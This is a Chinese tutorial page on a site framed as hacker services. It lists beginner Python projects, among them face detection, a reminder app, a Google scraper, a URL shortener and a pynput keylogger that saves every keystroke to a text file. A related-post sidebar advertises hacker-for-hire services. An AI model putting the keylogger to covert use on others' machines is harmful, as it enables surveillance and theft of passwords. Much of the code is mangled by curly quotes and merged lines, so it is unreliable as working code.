当前位置:首页 > 黑客技术 > 正文内容

查看电脑键盘输入记录(键盘记录器的实现方式)

访客3年前 (2021-12-29)黑客技术567

人脸识别

目的:编写一个Python脚本,可以检测图像中的人脸,并将所有的人脸保存在一个文件夹中。

提示:可以使用haar级联分类器对人脸进行检测。它返回的人脸坐标信息,可以保存在一个文件中。

安装:OpenCV。

import cv2

# Load the cascade

face_cascade = cv2.CascadeClassifier(‘haarcascade_frontalface_default.xml’)

# Read the input image

img = cv2.imread(‘images/img0.jpg’)

# Convert into grayscale

gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)

# Detect faces

faces = face_cascade.detectMultiScale(gray, 1.3, 4)

# Draw rectangle around the faces

for (x, y, w, h) in faces:

cv2.rectangle(img, (x, y), (x+w, y+h), (255, 0, 0), 2)

crop_face = img[y:y + h, x:x + w]

cv2.imwrite(str(w) + str(h) + ‘_faces.jpg’, crop_face)

# Display the output

cv2.imshow(‘img’, img)

cv2.imshow(“imgcropped”,crop_face)

cv2.waitKey()

七、提醒应用

目的:创建一个提醒应用程序,在特定的时间提醒你做一些事情(桌面通知)。

提示:Time模块可以用来跟踪提醒时间,toastnotifier库可以用来显示桌面通知。

安装:win10toast

from win10toast

import ToastNotifier

import time toaster = ToastNotifier()

try: print(“Title of reminder”)

header = input()

print(“Message of reminder”)

text = input() print(“In how many minutes?”)

time_min = input() time_min=float(time_min)

except:

header = input(“Title of reminder\n”)

text = input(“Message of remindar\n”)

time_min=float(input(“In how many minutes?\n”))

time_min = time_min * 60 print(“Setting up reminder..”)

time.sleep(2) print(“all set!”)

time.sleep(time_min) toaster.show_toast(f”{header}”, f”{text}”, duration=10, threaded=True) while toaster.notification_active(): time.sleep(0.005)

更多项目源码,请继续关注小编,如果大家在学习中遇到困难,想找一个python学习交流环境,可以加入我们的python裙,关注小编,并私信“01”即可进裙,领取python学习资料,会节约很多时间,减少很多遇到的难题。

八、获取谷歌搜索

目的:创建一个脚本,可以根据查询条件从谷歌搜索获取数据。

from bs4

import BeautifulSoup

import requests

headers = {‘User-Agent’: ‘Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3’} def google(query):

query = query.replace(” “,”+”)

try:

url = f’https://www.google.com/search?q={query}&oq={query}&aqs=chrome..69i57j46j69i59j35i39j0j46j0l2.4948j0j7&sourceid=chrome&ie=UTF-8′

res = requests.get(url,headers=headers)

soup = BeautifulSoup(res.text,’html.parser’)

except:

print(“Make sure you have a internet connection”)

try:

try:

ans = soup.select(‘.RqBzHd’)[0].getText().strip() except: try: title=soup.select(‘.AZCkJd’)[0].getText().strip()

try:

ans=soup.select(‘.e24Kjd’)[0].getText().strip()

except: ans=”” ans=f'{title}\n{ans}’ except:

try:

ans=soup.select(‘.hgKElc’)[0].getText().strip()

except:

ans=soup.select(‘.kno-rdesc span’)[0].getText().strip()

except:

ans = “can’t find on google”

return ans result = google(str(input(“Query\n”))) print(result)

九、键盘记录器

目的:编写一个Python脚本,将用户按下的所有键保存在一个文本文件中。

提示:pynput是Python中的一个库,用于控制键盘和鼠标的移动,它也可以用于制作键盘记录器。简单地读取用户按下的键,并在一定数量的键后将它们保存在一个文本文件中。

from pynput.keyboard import Key, Controller,Listener

import time

keyboard = Controller()

keys=[]

def on_press(key):

global keys

#keys.append(str(key).replace(“‘”,””))

string = str(key).replace(“‘”,””)

keys.append(string)

main_string = “”.join(keys)

print(main_string)

if len(main_string)>15:

with open(‘keys.txt’, ‘a’) as f:

f.write(main_string)

keys= []

def on_release(key):

if key == Key.esc:

return False

with listener(on_press=on_press,on_release=on_release) as listener: listener.join()

十、短网址生成器

目的:编写一个Python脚本,使用API缩短给定的URL。

from __future__ import with_statement

import contextlib

try:

from urllib.parse import urlencode

except ImportError:

from urllib import urlencode

try:

from urllib.request import urlopen

except ImportError:

from urllib2 import urlope

import sys

def make_tiny(url):

request_url = (‘http://tinyurl.com/api-create.php?’ +

urlencode({‘url’:url}))

with contextlib.closing(urlopen(request_url)) as response:

return response.read().decode(‘utf-8’)

def main(): for tinyurl in map(make_tiny, sys.argv[1:]):

print(tinyurl) if __name__ == ‘__main__’: main()

—————————–OUTPUT————————

python url_shortener.py https://www.wikipedia.org/

https://tinyurl.com/buf3qt3

最后多说一句,小编是一名python开发工程师,这里有我自己整理了一套最新的python系统学习教程,包括从基础的python脚本到web开发、爬虫、数据分析、数据可视化、机器学习等。

扫描二维码推送至手机访问。

版权声明:本文由黑客接单发布,如需转载请注明出处。

本文链接:http://therlest.com/30663.html

分享给朋友:

“查看电脑键盘输入记录(键盘记录器的实现方式)” 的相关文章

华流年京东618怎么买便宜

京东618活动已经在火热进行中的哦,各位有买什么东西了吗?很多小伙伴在活动一开始的时候就迫不及待的买了很多东西了,还有些小伙伴还很犹豫不知道买啥,接下来百思特小编就来教教大家2020年京东618怎么便宜吧~ 京东618怎么买便宜 活动时...

黑客了解,中国黑客越南网络apt,黑客网站密码破解工具

6.42 · hxxp[://]offlineearthquake[.]com/file//?id=&n=000 进程三:使命履行及实时数据剖析10.61 2019年6月19日,FireEye Endpoint Security设备上收到了缝隙检测警报。 违规应用程序被辨认为Microso...

Webshell安全检测篇

0x00 依据流量的检测办法 1.概述 笔者一直在重视webshell的安全剖析,最近就这段时刻的心得体会和咱们做个共享。 webshell一般有三种检测办法: 依据流量方法 依据agent方法(本质是直接剖析webshell文件) 依据日志剖析方法 Webshell的分...

如何查询酒店开房记录?谁可以查?网上怎么查?

关于酒店开房记录,这个基本上是看不到的,只有公检法系统(主要是公安局)才能查询的。如果你真想查询,要提供相关真实的身份证明,到公安局咨询,可能需要繁琐的手续。 2014年初,网上就有过“2000W开房数据泄露”的惊爆新闻,是因众多酒店使用了浙江慧达驿站公司开发的酒店Wi-Fi管理、认证系统,而该公司...

小型隧道掘进机价格 「小型隧道挖洞机」

将用于岩石地层的隧道掘进机称为T其实,做高铁隧道挖掘机220一个月,同时破碎洞内围岩及掘进。 小型掘进机,由上向下分部进行开挖。释文:隧道掘进机是用机械破碎岩石、习惯上将用于软土地层的称为盾构,结构:它是利用回转刀具开挖,而使隧道一次成形的机械。谢谢知道机的朋友。 形成整个隧道断面的一种新型、加重量...

微信黑客接单网_上海找黑客帮忙

政企单位防备勒索病毒主张从七个方面着手,即及时更新最新的补丁库、根绝弱口令、重要材料定时阻隔备份、进步网络安全基线、坚持软件运用的可信、挑选正确的反病毒软件、树立高档要挟深度剖析与对立才能。 关于Turla,咱们没有发现该安排发作任何严重的结构调整,但咱们的确发现该安排运用了一些要害的植入东西,例如...

评论列表

颜于铃予
3年前 (2022-06-17)

me.sleep(0.005)更多项目源码,请继续关注小编,如果大家在学习中遇到困难,想找一个python学习交流环境,可以加入我们的python裙,关注小编,并私信“01”即可进裙,领取python学习资料,会节约很多时间,减少很多遇到的难题。八

发表评论

访客

◎欢迎参与讨论,请在这里发表您的看法和观点。